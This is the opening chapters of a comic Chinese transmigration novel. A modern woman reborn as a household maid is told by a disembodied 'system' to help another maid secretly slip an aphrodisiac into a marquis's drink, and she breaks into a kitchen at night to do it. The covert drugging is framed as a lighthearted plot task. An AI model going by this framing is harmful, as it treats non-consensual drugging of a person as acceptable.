《她是限制文里的路人甲》
1. 第一章
洛都,宁远侯府。
正值孟夏,暑气渐显,祝谣醒来发觉背后出了薄汗,遂小心地翻开被子,起身坐在床边缓神。
四周黑得与彦夜无异,但不消说,祝谣知道此时已至寅初。
人生无常,谁能料到一朝从扶梯上滑倒,她就穿书了,穿的还是限制文。
起初她庆幸自己既非女主,亦非女配,仅仅是在书中以“丫鬟”二字便能指代的路人甲,啖粗茶淡饭、过安稳日子也算是有福气。
可待真做了丫鬟,祝谣方知从前想得太过轻巧。
如今她是明鉴院的洒扫丫鬟,恰好在原书男主裴执鹤的眼皮子底下做活,无论寒暑,每日星子还挂在天幕时就得爬起,能熬过来全凭着求活的本能。
待熟悉暗色后,祝谣轻手轻脚地穿戴衣物。
耳房狭小,置放两张窄床和两个箱笼便占去大半,有时祝谣的箱笼还得充当垫高小桌的支架,但她住得已比院里其他粗使丫鬟好上许多。
窗棂用桑皮纸刷了桐油糊的,既防雨又采光;墙角里塞了个高脚几案,摆了铜镜,以作简易妆台;她的床底还放着炭盆,冬天能装几块主房里未燃尽的红罗炭取暖。
不过这些都不是祝谣凭几力所获,而是她傍着了二等丫鬟连翘。
以前也不独她一人凑前巴结,但只有她能吞声、会受气、肯吃亏,待在连翘身边最久,今时才捎带手蹭到好处。
此时系统突然开口道:“海棠意图给裴执鹤下春//药,你须与其共谋。”
“收到。”
祝谣获悉自己穿的是限制文的消息,就是被一个月前凭空出现的系统告知的。
她穿的限制文主张大荤,几乎所有人都是为促成男女主行鱼水之欢的,祝谣虽只是个路人甲,也要帮着牵鸾帐、点红烛。
因此系统给她发放的任务是,推动男女主顺利进行欢好,必要之际,再制造点声响,为两人助兴。
当然,一口吃不成个胖子,以上任务只是比较笼统的概括,相当于终极目的,其下还会有各种细分的小任务需要祝谣一步步完成。
一旦任务被判定圆满完成,祝谣可以选择回到原来的世界。
而在努力做任务的过程中,她不会获得奖励,属实是姜太公钓鱼愿者上钩。
不过还是她接下了这个差事,倒不是有多惦记亲朋故友,只是心里头有个疑影,想回去弄个明白。
这次是系统头一回派发任务,祝谣有些跃跃欲试的激动,残余在体内的瞌睡虫瞬间被她锤跑。
没办法,系统自她八岁跌跤,短暂地出现后,便消失至今日。
日复一日的劳作真的会令人精神萎靡,而祝谣也不是个有崇高志向的。
她边琢磨着第一个任务的内容,边拿齐几样洗漱家什,悄悄阖上门,走到井边,打了桶水,就着随意清洗了下。
净完面,祝谣又将沾湿的手往头上一捋,抚顺毛糙的发顶,权当了木梳使。
等祝谣放回用具,再拢门时,便见花儿在拎着井绳舀水了。
眼见她因年纪尚小,使不上力,祝谣快步赶在木桶要翻倒前扶稳,得了她一张感激的笑颜:“蝉儿姐姐!”
祝谣默默颔首应了,接过手,继续盛水。
只是这样一来,她刚对任务有点头绪,便被打断了,于是先专注眼前的活儿。
花儿同祝谣皆是院内的底层丫鬟,一个专管洒扫庭除,需泼水止尘,一个镇日刷洗痰盂、夜壶等秽器,维持洁净,互相帮衬着装满桶子,早成了不言自明的默契。
花儿小声抱怨道:“天真是愈发热!起身不觉凉,原先那床被子在冬日算不得多暖和,昨夜竟捂出一身汗来,若再来场雨,便该收叠起来,等到冬日再与它们见面。
可是万一我搓洗的时候,叫小翠瞧见,她定会把她那份赖给我一块儿洗了,早知当初就不该躲那半日懒……”
祝谣眼睛里都是活,未有接话。
花儿也不在意,旁人都觉祝谣愚钝木讷,偏她晓得,跟她相处时,从不必担心背后会挨冷刀子。
如开了闸的鸟雀般,花儿迳自续着话头道:“当然暑天也有暑天的好,到时候府里开满各色的花儿——”说到这,她弯眼笑了笑,“多好看呐!还有那冰酪、冷淘、莲子羹、绿豆汤、荔枝膏水、荷叶蒸鱼……光是想想我都要流口水了!”
祝谣伴着丫头的叨咕,又灌了两桶水,听至此,肚子忽然咕唧冒了动静。
花儿眨了两下眼,赶紧连同青石槽子一并注满水,尔后与祝谣约着,待快手干完活,便同去灶房吃朝食。
祝谣也是这般想,爽快地点头后,提着小桶走到堂前。
她握住葫芦瓢,使着巧劲旋腕,水珠子便成串儿甩了出去。
洒得七七八八时,祝谣便开始清扫起来。
托懿阳公主,也就是裴执鹤生母的福,宁远侯府兴栽花卉绿植,单明鉴院就有不下十种,四时八节她都得清理残花落叶;
加之裴执鹤好洁成癖,更是挑剔到但凡在院落里见着残红零绿,就要冷脸;
自多年前驸马爷和懿阳公主双双坠崖后,府中顶尊贵的主子便是裴执鹤,他咳嗽声都能惊动宫中贵人差太医来请脉,一冷脸,张总管立时能叫人牙子领走扫地的丫头发卖,故而祝谣将打扫这项技能练得炉火纯青。
论起来,她得打两份工。其中一份工,至今只吃到个“能回家”的大饼,另一份工,也没有劳动保障。
唉,怎么穿书了她还是个穷人?
祝谣从院内一路扫到院外小径,天边也泛起微光,阖府渐见忙碌,下人们穿梭不停。
见扫得差不多了,她用簸箕分装落花和枯枝落叶,来到不远处有假山遮挡的小池旁,左右顾了顾,然后一把倒入名花残骸。
依祝谣来看,裴执鹤这脾性都是给惯出来的,可谁叫他
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靠着老娘吃上了天底下无出其右的软饭呢。
祝谣惦记着早饭,见池中锦鲤吞食掉飘在水面的残花后,忙捡起另一个簸箕绕到一棵老树后,倒净剩余碎叶。
此处若非存心翻找,难叫人发觉,想着能使花儿少洗一个桶,如这般隐蔽的角落,她还另寻了三处。
祝谣惦记着早饭,将家什收拾停当,便从树后钻了出来,却不料一下踩中只红绣鞋。
她面不改色地挪开脚,瞧那鞋面应是好缎,纹着并蒂莲,虽有些褪色,但针脚细密,除了她的鞋印之外,再无其他脏污,可见保养得甚好。
眼角瞥到石榴红,祝谣的目光便顺着鞋边的裙摆一路往上,掠过起伏,最后顿在了美人的芙蓉面前。
噢,是张总管买的四个通房丫鬟里容貌最盛的海棠,也是她需要共谋的同伙。
大抵见自家侯爷年及二十还不近女色,张总管特意从府外挑选了四个良家子,环肥燕瘦,各有千秋,打着孤男寡女共处一室说不准就成就好事的主意,每晚安排一人给裴执鹤奉茶。
可惜接连两日,都以通房丫鬟完好无缺地走出书房而宣告失败。
祝谣曾看过这本名叫《冷面侯爷的心尖宠》的限制文,然而当时只顾吃肉,剧情几乎囫囵吞枣,看了大半又觉腻得慌便弃了,是以现在回想起来,如罩云雾般朦胧。
不过她终于艰难地从零散记忆中,挖出了点故事的脉络。
若是未记错的话,男女主的初次欢好,便是由裴执鹤被下了春//药,女主珍珠为其解药而发生的。
“站着不许动!”海棠美眸一瞪,先发制人道,“要是跑了,我找张总管治你!”
祝谣听话地杵在原地。
见她被唬住,海棠沿着祝谣踩出的脚印,转到老树后头,谁想银子没瞧见,倒有一摊烂枯叶堆成小山般。
海棠皱眉,搞不清这是什麽名堂,可自己唯一能拿得出手的绣鞋被弄脏了,实在憋火。
她扭头就要算账,却在看到兀自站着的祝谣后,忽然心头一动,有了计较。
海棠睄向四下,觉着这儿不是个适合说私密话的地方,甫欲近前,只听祝谣的肚子咕噜作响。
她手中提着的是刚从灶房捎来的热食,香气四溢,祝谣累到现时滴水未进,根本抵挡不住荤油勾鼻。
“可是饥了?这许多吃食我一人也消受不起,不如随我到房中同用可好?”海棠抿嘴轻笑,眼波流转间,更添几分妩媚。
像祝谣这种粗使丫鬟,纵使进了明鉴院,照旧是个三等,月钱只有五百文,偶尔打牙祭还得与花儿凑份子钱,半年不知肉味。
如今不仅有白吃的机会,还能配合海棠做任务,实在是一箭双雕。
祝谣遂老实道:“想吃,去。”
海棠听她答得这般干脆,眼睛黏在食盒上全然不动,嘴角一撇,心下啐道:跟个饿死鬼投胎一样,真是个缺心眼的夯货!
2. 第二章
海棠入侯府,原就是奔着荣华富贵来的,也时常揽镜自照,得意于天生的好颜色,笃信定会得宠。
不承想当家的侯爷竟是个银样镴枪头——中看不中用!
巧妇还难为无米之炊,她仔细琢磨后,想出个计策:下剂猛药——既叫裴执鹤重振了雄风,又能占得头份娇宠。
可这虎狼之药断不能经自己的手,须得寻个替死鬼背黑锅,日后若东窗事发,也好抽身退步。
路上海棠偷眼打量了祝谣一番,只见她生得寻常模样,身量虽高却呆似根木头,要换作别的丫鬟踩着她,早该跪下来给她擦鞋赔罪了。
偏这丫头,与连翘走得近,保不齐能摸进茶水房,而且在明鉴院也不是甚麽大人物,倘若事发,连翘为撇清干系,定会推个干净,是个再合适不过的人选。
这时祝谣突然停脚,海棠愣了愣,下意识跟着站住:“怎么了?”
祝谣道:“等我。”
继而颇有规矩地归置好每件家什,又舀来清水,细细搓洗指甲缝里的尘泥,末了还把杂乱堆放的桶子摆得齐整,这才回到海棠身边。
见她不动,祝谣迎上海棠直勾勾的眼神,像是明白了甚么,但还是贴心地问道:“你忽然发现,这早饭自己能消受得干净?”
海棠眼波一敛:“我不饿,你若馋了,这里边的吃食尽与你受用。”说罢,径自往前头行去。
祝谣随海棠进了厢房,抬眼便看到窗棂底下摆着个素白瓷瓶,里头斜插枝带露珠的月季,水灵灵的,把屋子衬出几分俏生生的雅致。
但很快,祝谣也无心欣赏了,概因她只顾得上埋头吃肉馅蒸饺。
“好吃么?”海棠执著挟了片鱼肉,轻轻搁在祝谣的碗中,眉眼弯弯透着亲热,“这是王婆子给我留的黄鲫子鱼,趁鲜多尝尝。”
王婆子擅红案,刀工使得精妙至极,片的鱼肉薄如蝉翼,乃宁远侯府灶上的一把好手。
她也惯会看人下菜碟,只消观人面相便能分晓丫鬟们将来能否大富大贵。
每逢王婆子掌灶之日,祝谣得的都是清汤寡水,此时不吃,更待何时?
肉馅里和进荠菜丁,仅以盐调味,一口下去,汁水四溢,清香扑鼻,五脏六腑都得到安抚。
“慢些吃,没人和你抢……真是可怜见的,平日难不成有谁磋磨你?”海棠心疼道。
见祝谣不言语,她又改口笑道:“瞧我,连翘姑娘是你亲姐,怎会不关照你呢?”
祝谣虽然吃着碗里的,瞟着盘里的,但分了心神,听出她的试探,便顺水推舟道:“她并非我阿姐。”
“你们竟无亲缘关系?”海棠面上恰时露出些许惊讶的神情,“我去灶房时瞧见过你,看你拎的饭食多,还以为是你胃口好的缘故,后来王婆子与我说了,才晓得你回回都捎带着连翘姑娘的那份。从明鉴院到厨下这般远,我便想着,若不是自家人,哪耐烦日日如此尽心尽力?”
祝谣默然,咽下口中所嚼才道:“连翘待我如亲姐。”
这微妙的停顿,使得海棠确信她早就心生对连翘的不满,却不好明说,于是倒了杯茶水,推到祝谣碗前,趁此挨到祝谣身旁的绣墩上坐下。
“我倒想有个妹妹。”海棠推心置腹道,“我娘当年若是活了下来,生下妹妹,长至今日应与你差不多年纪。说来奇怪,我见你只觉亲切,不知你怎么想的?”
祝谣扫了眼桌上的膳食,腹中暖暖的,自然道:“我也觉得你很亲切。”
“既如此,选日不如撞日,今个我们互认姐妹罢?”海棠喜悦道。
结拜姐妹在府中也不算甚么稀奇事,有的是那认干娘、儿子的,但即使再简陋的认亲仪式,也得请上些人,吃个酒,回个礼。
祝谣荷包干瘪,不舍得出钱,又不接话了。
察觉到对方瞥了眼腕间的银镯,海棠暗自拢好袖子,眉间淡了几分笑意:“侯府偌大,我不过是想找个能说心里话的,虽这般提出确实有些欠妥,但我见你又勤干,又能吃,在旁边看着都觉得香,实在欢喜,不如我们暂且先私下称呼姐姐妹妹,可好?”
不花钱可以,祝谣颔首。
“你今年多大?”
“十五。”
“那你是该唤我一声姐姐。”
“姐姐。”
“欸。”
闻言,海棠执帕子往眼尾按了按,似乎被触动了愁肠,神色眼见着落寞了些。
祝谣已经吃饱,不贪多,便搁了筷子,留了半截鱼尾在青花碟里,见她这样,遂问道:“姐姐怎么了?”
“我只是难过,现今我在侯府也说不上话,更别提把你调到身边。”海棠叹了口气,握住祝谣的手,“如若我得宠了,再把你调到身边,到时候你想吃什麽,直接就能拿着我的令牌到灶房点菜了。”
被撒了空口诱饵的祝谣未急着答话,她希望海棠能更真诚些,于是静候海棠道明本意。
见她睁着眼睛装哑巴,海棠恼了两下,随即想到她是个憨的,倒把气性摁下了,轻言细语道:“好妹妹,且帮姐姐个忙可好?”
*
祝谣走时还带走一包蜜饯。
回明鉴院的路上,她碰到了花儿。
“蝉儿姐姐,你去哪儿了?”花儿眼眸一亮,快步走前,转瞬却又黯淡下来,“我方才等你不到,又饿得很,便先去灶房了,本想一同捎回你的早饭,但王婆子不肯,只给了我连翘姐姐的那份。”
祝谣拎起食盒,给花儿卸了力:“没事。”
她的那份早饭约莫会被王婆子省下来,跟着泔水车运到郊外的农庄里喂豕,也就是喂猪。
农庄里的猪吃一年侯府的剩饭剩菜,能长到两百斤,卖四两银子,比她卖进侯府的身价都高。
祝谣原先还小怒了下,自己竟贱价至此,但想了想,王婆子是连宫中贵人都夸赞过的忠仆,也就不计较她狗眼看人低了。
“可是你还饿着肚子呢!”花儿担心道。
祝谣轻拍了下小腹:“我吃饱了。”
丫头满眼不信,祝谣于是解开油纸,拈了块蜜饯塞到她嘴里。
甜得喜滋滋的,花儿也不再多想,只以为祝谣是嫌王婆子手抖,所以去角门买了点小食饱肚。
与花儿分别后,祝谣提着食盒回到耳房,方推门,就见一只香包迎面飞来!
她也不躲,只听“啪”一声响,正砸中额头,待那香包骨碌碌跌落地上,才弯腰拾了起来。
祝谣连同食盒一齐放下,开了盖,将里面尚温热的吃食摆好,朝着连翘垂首,姿态端正道:“我错了,我不该这么晚回来。”
连翘气冲冲地下床,鬓边绢花乱颤,质问道:“你做什么去了?”
因侯爷领了官职,她也需早起在旁伺候进膳,未免口气重,洗漱之后便只含叶薄荷,待送走侯爷时,胃中都反酸了。
平日里有祝谣提膳,倒是能尽快压下去,然而今个也不知去哪了,累她多灌了几口凉茶,愈加不适。
祝谣却只推了下碟子,示意她先填饱肚子,然后走向自己的小床。
连翘眼尖,瞟到她手上还攥着东西,喝道:“站住!你藏着甚么不敢给我看?”
见祝谣还不肯开口,连翘威胁道:“你若是不说,我就让表叔停了你这月的月钱!”
这话连翘说出来格外有底气,祝谣也相信,连翘作为张总管的表侄女,绝对能做到。她当然不会和钱过不去,秉着能屈能伸的原则,小声道:“是别人送的蜜饯。”
除了她,院里还有谁瞧得起她?连翘心想道。
“既得了好东西,也不分点给我?”连翘放缓语气,换了副好脸色,“这会子我都饿过劲了,嘴里泛苦,正想尝些甜的。”
祝谣像是信了,慢慢靠前去,及至挨着桌边,连翘倏地探出手,想抓住她的腕子,被祝谣即刻躲过,但腕骨也因此磕到了桌角。
纸包还是掉到了地上。
连翘瞪着她:“是谁送的?当成宝似的。”
“还吃么?油纸包得严实,没沾上尘。”祝谣捡起纸包,捏着衣袖拂了拂,平静道,“拢共只得了三颗,你要是觉得滋味好,就都给你。”
两人一坐一立,不过半掌之隙,连翘隐约闻到祝谣身上还带着股香味,与明鉴院惯常使得
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熏香不同,也没理会她蹩脚的讨好,只盯着她道:“老实交代。”
“我说了你不能生气。”见避不开此事,祝谣迟疑道。
“快说!”
“……还是不说了。”
“停三个月的月钱!”
祝谣登时道:“是海棠送的。”
“我不是叮嘱过你,不要与她们接近吗?你是不是把我的话当耳旁风?”连翘上火道。
那四个通房当中但凡有一个得了侯爷的欢心,面上这团和气顷刻就要撕撸开,若往里掺和,指不定踩中什么坑,跌个嘴啃泥!
可这回不管连翘怎么斥骂,祝谣都不松口顺着她的意思。
就像水沸了顶盖,怒火到达一个极点是按捺不住的,连翘急得扬起手来,直接打了祝谣一下!
巴掌声清脆,连翘怔住了,只见祝谣的手背上腾地泛起一片红痕。
紧接着,她便见祝谣抬眸看向自己,一改往日的服帖,眼中满是不服气。
连翘这时才发觉,祝谣的眼睛很是好看,眼白干净,瞳仁乌黑明亮,好似泉水底的鹅卵石子,有点浮光。
她正为此感到愕然,恰听到祝谣说:“我知你觉得我没本事,是个榆木脑袋,但你瞧着,总有一日,我定会风风光光地回报你!”
放罢狠话,祝谣摔门而去。
木门“砰”地撞在框边上,声响是克制过的,虽不大,却惊得连翘一激灵。
她回过神来,涨红了一张脸,羞恼地骂了声:“呆瓜!”
然而转念又觉蹊跷,蹙起眉头疑怪道:到底是怎么了?出去一趟竟还硬气了起来,跑到她面前耍威风!
*
祝谣摔门而去后,出了明鉴院,拣了小路随意走着。
她想起海棠嘱咐的“寻机将那合欢散下到茶汤里”,便觉一阵头疼。
春//药在限制文里自然是很轻易就能买到的,但张总管毕竟管了侯府十几年,也并非无用之辈。
他把裴执鹤入口的饮食看得像宫中御膳房那般严格,单说一盏清茶,也仅允许明鉴院的管事大丫鬟秋菊经手冲沏,其次便是小厮昌安。
若夜间安排了通房丫鬟奉茶,则是由其中一人照着裴执鹤的口味沏好,再交到通房手中。
偏那茶水间就贴着正房,祝谣想动些手脚,也寻不到空子钻。
祝谣实在想不通,限制文怎么还有逻辑了,在原文中,下药明明只需一句话的工夫,分摊到她头上,却棘手得很!
难道没逻辑的地方只点在了男女主各种人前撩拨,其他人就算听到动静也只以为是错觉、男女主超强耐力,一回鱼水之欢至少一个时辰起步,以及即便房事频繁,女主被灌满,也不会怀孕上?
除此之外,她还得考虑事后会不会被裴执鹤揪出来清算。
祝谣搓平手臂上倒竖的寒毛,只盼连翘瞧出她是“被哄骗”才上了贼船,届时大发善心,救她一命,也不枉她演了回“莫欺少年穷”的戏码。
穿过月洞门,祝谣兀自低头思量该怎么办,下一刻便猛地被一个丫鬟扯着袖口,催促道:“再不快些,仔细被婆子骂到头上!”
脚下跟着小跑起来,祝谣疑惑道:“怎么就要挨骂?”
“咦?”丫鬟回头看了眼,发现自个认错了人,可观祝谣穿的是与她同色的背心,也就未松手,喘着小气道,“孟公子快回来了,得把兰羲园重新拾掇下,活计可费功夫!不过张总管说了,只要差事办得漂亮,每人都能抓点赏钱。倒是瞧你眼生,你是哪个院的?”
祝谣心动了下,含糊道:“我刚从农庄调来,孟公子是谁?”
丫鬟多瞅了她几眼,嘟囔了句:“果然是乡下来的。”
但旋即想到祝谣能从下边调上来,定是有点本事,况且兰羲园也缺人手,便收了急色,耐着性子与她分说分明。
祝谣听罢,这才想起,在原书里,男女主之间的感情升温便是由好些女配和男配促成的。
裴执鹤那头艳福不浅,珍珠这边也至少有三个暗生过情愫的,而丫鬟描述的,似乎是位温润君子。
活脱脱一个衬褡郎。
3. 第三章
轰隆一声雷鸣,暴雨倾盆,将洛都笼罩在一片水幕之中。
“郎君,这雨一时还停不了,且歇息会儿罢。”董伯取下支棍,扣紧窗扇,雨点顿时砸出响声。
孟辰良正用油纸包着书册,闻言温声道:“趁着今日休沐,我帮您多做些事,况且时辰也不早了,待这急雨停后,我们还要往宁远侯府去。”
董伯迈快几步,抢回他手中的活计,不赞同道:“怎劳郎君动手,当年老爷还在时,老奴从不让他沾手俗事。”
孟辰良未有反驳,只浅笑道:“父亲故去二十余载,您若不保重身体,我往后也听不到这许多旧事,缅怀他了。”
“唉,老爷要是还在,郎君也不必住到别人家中去,而且老爷可不愿您与那些王公贵戚往来,没得教其他官爷瞧不起。”董伯摇头叹道,“如若当年您没被选中……”
彼时裴执鹤双亲离世,宫中贵人怜他孤零零守着座大宅院,特意寻了年纪相仿的哥儿伴读,不拘家世,只要品性端正,能与裴执鹤说得到一处、玩得到一块儿便好。
孟辰良与裴执鹤同岁,知礼数,懂分寸,最紧要的是,孟父亦病逝不久,称得上同病相怜,于是经过重重考察,得以长住裴府。
这是份对祖上阔过、现已落魄的孟家雪中送炭的好差事,裴府不仅全揽开消,还比照着裴执鹤的待遇,折半支付孟辰良月银和贴补。
至一十三岁,孟辰良于读书上颇有天赋,一是与寡母分别经年,二是为将来科举考量,需与裴家避嫌,遂回了原籍备考。
皇天不负有心人,今年科举,他乃一甲第三名。
“董伯,当年若非侥幸得选,如今我们或许连赶考的盘缠都凑不出,又哪能租得起这一进宅院,有个遮风避雨的住处。”孟辰良敛了笑道,“母亲眼睛视物愈发模糊,蒙侯爷垂怜,许暂居府邸,如此一来可节省银钱,速筹赁资,待寻到合适的民宅,我们便能搬出去,接母亲过来团聚了。”
洛都寸土尺金,孟辰良携老仆赁居一年载,将备考之资耗费泰半,即便俸禄已颁,也难以支付续租所需的赁金。
目下接受裴执鹤的好意,可解燃眉之急。
“是,是,郎君说的是。”董伯诺诺连声,低头受教,只是到底改不了啰嗦的毛病,不禁又提了嘴,“侯爷想帮您,原可使人私下里递个话,但他却在正当值时,遣属官当着众人的面唤您出去,倒平白惹出好些是非来。”
孟辰良蹙起眉头,语气彻底严肃起来:“此话说过,就当烂在肚子里了。既入宁远侯府,须谨记尊卑之序。”
董伯拍了两下嘴,不敢再提。
二人拾掇出三两箱笼,待雨收虹现,乘上马车往侯府去了。
下了马车,便被张总管迎进侯府。
经过拾掇的兰羲园,去了冷清,显得生机盎然。
庭前开满了建兰、虞美人等花,走十几步,有一太湖石堆围成的绿池,俯身可见石罅中游出两条红白色锦鲤,池边文冠树下置着石桌石凳,孟辰良和裴执鹤幼时还曾在此处伴着鸟语花香读书。
孟辰良眼眶微红道:“我离开多年,这里却景致依旧,让侯爷费心了。”
“此处一直为你而留,如今你是满载而归。”
裴执鹤受了礼,与他同往树下踱去。二人方坐定,下人们便端了鎏金香炉,上了清茶,另备玉匜、素巾净手。
孟辰良平复好情绪:“今幸得侯爷帮扶,不胜叨扰,万分感激——”
裴执鹤未待他开口,便抬手止道:“若是要说‘寻得宅子便搬出去’这等话,大可不必。
侯府这般大,我尚有未踏足之地,屋宇有人住着,方显生气,纵使百年也不会倾颓。你只管安心住下,莫要思虑这些。”
孟辰良只得咽下未尽之言。
品了茗,又回忆了往昔,如此过了半晌。
撤下凉茶,裴执鹤关心道:“令堂安否?何时入都?”
“劳侯爷垂问,家慈托赖平安,唯因家中俗务缠身,暂且动不了身过来。”孟辰良回道。
裴执鹤问道:“可回了信?”
孟辰良解释道:“母亲爱吃隆香斋的槽子糕,不巧隆香斋闭店半旬,延了日子,这两日便会寄了。”
裴执鹤沉吟片刻,温言道:“既回了侯府,诸般事宜自有府中打点,你且将家书放心交与张叔便是。”
张总管适时躬身上前。
孟辰良略一思忖,知道推脱不得,道:“好。”
裴执鹤遂露了笑意:“今夕设席,愿与君共尽千觞。”
孟辰良执盏作觞,敬了一杯:“侯爷相邀,却之不恭。”
暮色渐垂,一道道珍馐美馔流水似地上桌。
酒过三巡,秋菊见小丫鬟正撤换杯盘,奉上新酿的葡萄酒,趁隙拉了连翘到帘后说话。
“醒酒汤我已经提前煮开,温在小厨房了,家里的小子醒来见不着我又得哭闹,我得先回去了。”
秋菊是裴执鹤的奶姐姐,去年配了府里一个管事的儿子,得主子信重,依旧留在她身边伺候。
因生的小子正是吃奶的时候,她往裴执鹤跟前一提,就被允了不必守夜。
“你待会把钥匙交给昌安。”秋菊递了过去,“让他记得将醒酒汤交给海棠。”
张总管和昌安都在主子跟前候着,她只能先将钥匙交予连翘保管,好在连翘年纪虽轻,却是个心思细的,且背后有张总管托底,倒也教人安心。
连翘接了过来:“秋菊姐姐宽心,表叔的计较,我省得的。”
秋菊点头:“嗯,那我先走了。”
“秋菊姐姐慢走。”
连翘与秋菊素日交好,叫来个小丫鬟,给秋菊提灯,自己又送她到小房的侧门,待秋菊出去后,她便回到堂内。
只见裴执鹤突然兴起,开口唤道:“昌安,去取纸笔来,我欲与今科探花郎斗个诗才高低!”
那厢觥筹交错,诗兴大发,这厢祝谣正偷偷摸摸地撬着小厨房窗户内扣上的木闩,时不时张望几下,鬼祟的模样与贼子也几乎不差甚麽。
唯一的分别或许就是,贼子是要顺走物件的,而她是要留下东西的。
前头设席,院内穿绸裹缎的大丫鬟跟着去帮忙,其余粗使丫鬟比不得灶上丫头手脚伶俐,索性都留在明鉴院看守。
不过明鉴院作为主院,一般也没人敢随意进来,小丫头们见侯爷和大丫鬟都不在,补觉的补觉,串院的串院,各自找了事儿做。
于是海棠通行无阻地进了耳房,找到祝谣,要她想法子把合欢散下到醒酒汤里。
祝谣本来还因自己不用绞尽脑汁溜进茶水间而松了口气,可到了要橇窗时,才发现溜进小厨房也不简单!
小厨房的前门是在院内,定被上了锁,是以她跑到后窗。
临着角落,此地并无多余吊灯照明,黑漆漆一片,明知是做贼,祝谣亦不敢胆大包天到提着小灯来,只能摸黑行事。
一通好找后,好消息是窗户上没落锁,坏消息是里边卡了木栓,她得在没有系统辅助、时间紧迫的不稳定情形下,尽快撬开。
幸亏祝谣虽穷,但头上还簪了根银钗——是连翘叮
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嘱过,让她别给明鉴院跌面插上的。钗上的两条腿虽比筷子细,却也是实心的。
她姑且侧着钗子挤进缝隙,竖着活动,拿来顶木栓,一下不成就两下。
祝谣在原先的世界里也是三好青年,如此鸡鸣狗盗之事向来不做,现下硬着头皮上,总觉得有双眼睛在背后盯着她,可猛地回头,只是自己吓自己。
积少成多,木栓忽地咯吱一响,出现了松动。
到底没白忙活一场!
祝谣挥了挥手,赶跑围着她嗡嗡飞的小虫,额头和掌心满是汗,眯着眼睛凑到窗缝,竭力辨认着窗栓被顶开了多少。
就在此刻,突然一阵拍门声,震得窗扉抖动,粉墙上的白灰簌簌直掉,险些要剥落下一大块来。
紧接着,一道中气十足的喊声响起:“小贼,你姑奶奶瞧见你了!若是不想光着屁股腚被丢到街上去,赶紧弃了赃物爬将出来,磕三个响头唤声亲娘,就饶你狗命!”
祝谣一早倚着墙根蹲下,杂草刺得屁股生疼,连口大气都不敢出。
难道被发现了?
她缩作一团,鹌鹑似地窝着,忽闻婆子在门前拨弄,钥匙碰着铜锁丁零当啷响,分明要推门进去。
祝谣心头一紧,正待要逃,动静却戛然而止。
她暗数了十几个数,刚支起半截身子,又听得布鞋噔噔声渐近,惊得脊背上直冒冷汗,像七月里从冰鉴里捞出、置了半刻钟的西瓜!
她不禁在心底向系统呼喊道:“系统,快救救我!我要是死了,男女主今晚就滚不了床了!”
若教人抓住,重则挨顿打,打得皮开肉再被发卖,那还怎么做任务?
“抱歉,我只负责向你传达任务,并不能给你提供任何帮助,更不能解救你。”
祝谣没办法,只得瞪圆了眼,踅摸四周能藏身的地方,然而倒霉的是,眼前除了一堵阴森森的府墙,便只有臀下几丛瑟瑟的野草,此时若溜,必会制造响动,惊动整个院子,届时再难下药。
横竖都到了这个境地,不如赌一把,赌那婆子老眼昏花。
祝谣僵直着身子,就在心快从胸口蹦出来之际,腿边蹭过个毛茸茸的东西。
“欸!白日里寻你不着,夜了晓得饿了,还巴巴地摸到这儿,来,我带你去吃些鱼干。”
“喵——”
祝谣隐在暗处,借着婆子手提的灯笼一照,瞧见那婆子蹲身抚弄一只黑猫。
那猫儿受了摸,便叫唤起来,黏糊糊的。婆子被它缠住手脚,俄顷起身,只擎着灯笼往窄道里晃了晃,未有深究。
祝谣紧贴墙面屏息,待那灯光远去,方敢泄了气,总算躲过一劫。
喘着呼吸的祝谣此时脑子才活泛起来,记起这婆子是专门巡府中灶房的。
也不知怎样的宵小,能让张总管特意安排婆子拍喊吓唬,严防死守裴执鹤的吃喝?
祝谣暂顾不得这些,扶着墙站稳,不忘继续撬窗,这回终于顶开了闩板。
她随手将银钗插回髻后,吸了口气,撑着边框跳了上去,但是一时没收住力,正踩中个麻袋,身子趔趄了下,直至脊背抵住墙,才立稳脚。
小厨房内灯已熄了,但祝谣开了窗,外头的月光皎洁明亮,倾泻一地,衬着炉子里的炭火,叫她一眼寻着盛着醒酒汤的器具。
祝谣迅速摸出捂在前胸的药包,捻着抹布打开银壶的盖儿,稳稳当当倒完所有药粉,临了还拿起旁边的勺子搅了两下,便要事了拂衣去。
不承想刚转身,门外咔嗒一声,铜锁被开了,而她离窗扉尚有几步距离。
4. 第四章
连翘推门而入,先瞧那灶上——炉火未熄,银壶慢煨,再一抬眼,却见轩窗洞开!
她三步并两步,匆匆赶至窗前,朝外张望,只看到空荡荡的窄道,并无可疑的行迹。
连翘心事重重地转过身,头低着,眼睛略扫了下脚边,忽而顿住——
小厨房灶台是有棱角的,四边都留了过道,如长桌一般,她现下站了一角,正见灶台后,有一道影子延伸了过来。
祝谣蹲在地上,两手分别抱住小腿,小心翼翼地挪着脚。
眼见着跳窗而逃是行不通了,故而她拖过不太重的麻袋,倚着灶角坐好,打算利用那道影子做个幌子,吸引来人的注意力,然后悄然爬到露了缝隙的前门,再溜出去。
连翘在心底做足准备,还拎起根火棍,上前一看,竟只是个麻袋,哪是自己想的小贼?
“谁?出来!”
爱唱空城计难道是侯府的传统?
祝谣偏偏做贼心虚,探向木门的手一抖,迅速收回,蜷缩着身子贴紧灶壁。
她屏住呼吸,在心中默念:我只是个路人甲,存在感低,谁也瞧不到我;男女主今晚成好事是命中定数,她作为play中的一环,必受保佑!
阖上眼之后,听觉尤其灵敏,祝谣细心辨听,似乎除了她砰砰的心跳声,再无其他动静。
不知过了多久,她偏过脑袋,掀开了一条眼缝——半个人影都没。
祝谣紧绷的神经一下全放松了,顺势睁开眼,扭着脖子,却冷不丁对上连翘那双眼眸!
她手里还端着个油灯,欻地燃起灯火,映在眼底,像幽幽的阴火,面无表情地逼近:“蝉儿?”
你在想什么?系统跟条死尸没什么两样,你被发现是必然的!
祝谣内心崩溃,神情却依旧木然。
连翘直起身,将灯台放到灶台上,环臂于胸前,俯视道:“你来小厨房做什么?”
祝谣干巴巴道:“你怎么也来了?”
连翘闻言,手指掐着她的肉,拧了两下,语气恶狠狠道:“我为什么来?还不是因为你!”
那日祝谣莫名硬气起来,撂下话后便摔门而出,像极了那些叼到好骨头、得知自己即将发达的软饭蛋子,倒是走得痛快,却害得她琢磨了半天。
好不容易理出点头绪,又忙着给侯爷绣新衣,加之祝谣还躲着她——虽然雷打不动地给她提饭,但是只要耳房里有她在,祝谣便会出去,泥鳅似的,可疑又可恶,根本寻不到机会逼问这个妮子。
方才昌安被侯爷吩咐取笔墨,令连翘动了心思,因此她寻了个借口,替昌安跑了一趟,果然将人堵住,只是地方却在小厨房。
这下事情似乎难办了起来。
